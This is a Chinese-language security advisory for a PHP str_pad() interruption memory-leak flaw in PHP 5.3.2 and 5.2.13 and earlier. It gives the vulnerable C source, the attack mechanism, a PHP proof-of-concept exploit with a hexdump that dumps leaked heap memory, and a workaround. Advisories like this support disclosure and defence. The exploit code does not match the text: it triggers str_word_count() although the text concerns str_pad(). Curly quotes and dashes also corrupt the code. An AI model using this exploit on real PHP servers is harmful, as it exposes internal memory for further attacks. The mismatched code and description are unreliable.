受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的str_pad()函数中存在信息泄露漏洞:
PHP_FUNCTION(str_pad)
{
/* Input arguments */
char *input; /* Input string */
int input_len;
long pad_length; /* Length to pad to */
/* Helper variables */
int num_pad_chars; /* Number of padding characters (total – input size) */
…
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|sl", &input, &input_len, &pad_length,
&pad_str_val, &pad_str_len, &pad_type_val) == FAILURE) {
return;
}
num_pad_chars = pad_length – input_len;
…
result = (char *)emalloc(input_len + num_pad_chars + 1);
/* We need to figure out the left/right padding lengths. */
switch (pad_type_val) {
…
}
/* First we pad on the left. */
for (i = 0; i < left_pad; i++)
result[result_len++] = pad_str_val[i % pad_str_len];
/* Then we copy the input string. */
memcpy(result + result_len, input, input_len);
result_len += input_len;
/* Finally, we pad on the right. */
for (i = 0; i < right_pad; i++)
result[result_len++] = pad_str_val[i % pad_str_len];
result[result_len] = ‘\0’;
RETURN_STRINGL(result, result_len, 0);
}
zend_parse_parameters()函数最多将2个字符串参数检索到了本地变量,放松了这些变量与原始ZVAL之间的联系。问题是在原始ZVAL被中断修改的情况下,字符串指针会指向已释放的或重用的内存。这种情况下的中断攻击也比较容易,因为zend_parse_parameters()支持对象的__toString()方式。攻击者只需以str_pad()第三个参数的形式传送对象,由于call time pass by reference功能,之后攻击者可以从__toString()方式杀死第一个字符串参数,并重用于哈希表。这会导致str_pad()作用于哈希表的内存而不是字符串的内存,允许攻击者泄露重要的内部内存偏移。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://php-security.org/2010/05/26/mops-2010-046-php-str_pad-interruption-information-leak-vulnerability/index.html
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
class charlist
{
function __toString()
{
$ret = ”;
for ($i=0; $i<=255; $i++) $ret .= chr($i);
/* now the magic */
parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS[‘var’]);
return $ret;
}
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS[‘var’] = str_repeat("A", 39);
} else {
$GLOBALS[‘var’] = str_repeat("A", 67);
}
/* Trigger the Code */
$x = str_word_count(&$GLOBALS[‘var’], 1, new charlist());
hexdump($x);
/* Helper function */
function hexdump($x)
{
$l = strlen($x);
$p = 0;
echo "Hexdump\n";
echo "——-\n";
while ($l > 16) {
echo sprintf("%08x: ",$p);
for ($i=0; $i<16; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
echo " ";
for ($i=0; $i<16; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
}
$l-=16;
$p+=16;
echo "\n";
}
if ($l > 0)
echo sprintf("%08x: ",$p);
for ($i=0; $i<$l; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
for ($i=0; $i<16-$l; $i++) { echo "– "; }
echo " ";
for ($i=0; $i<$l; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
}
echo "\n";
}
?>
建议:
临时解决方法:
* 禁用call time pass by reference功能。
厂商补丁:
PHP
—
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。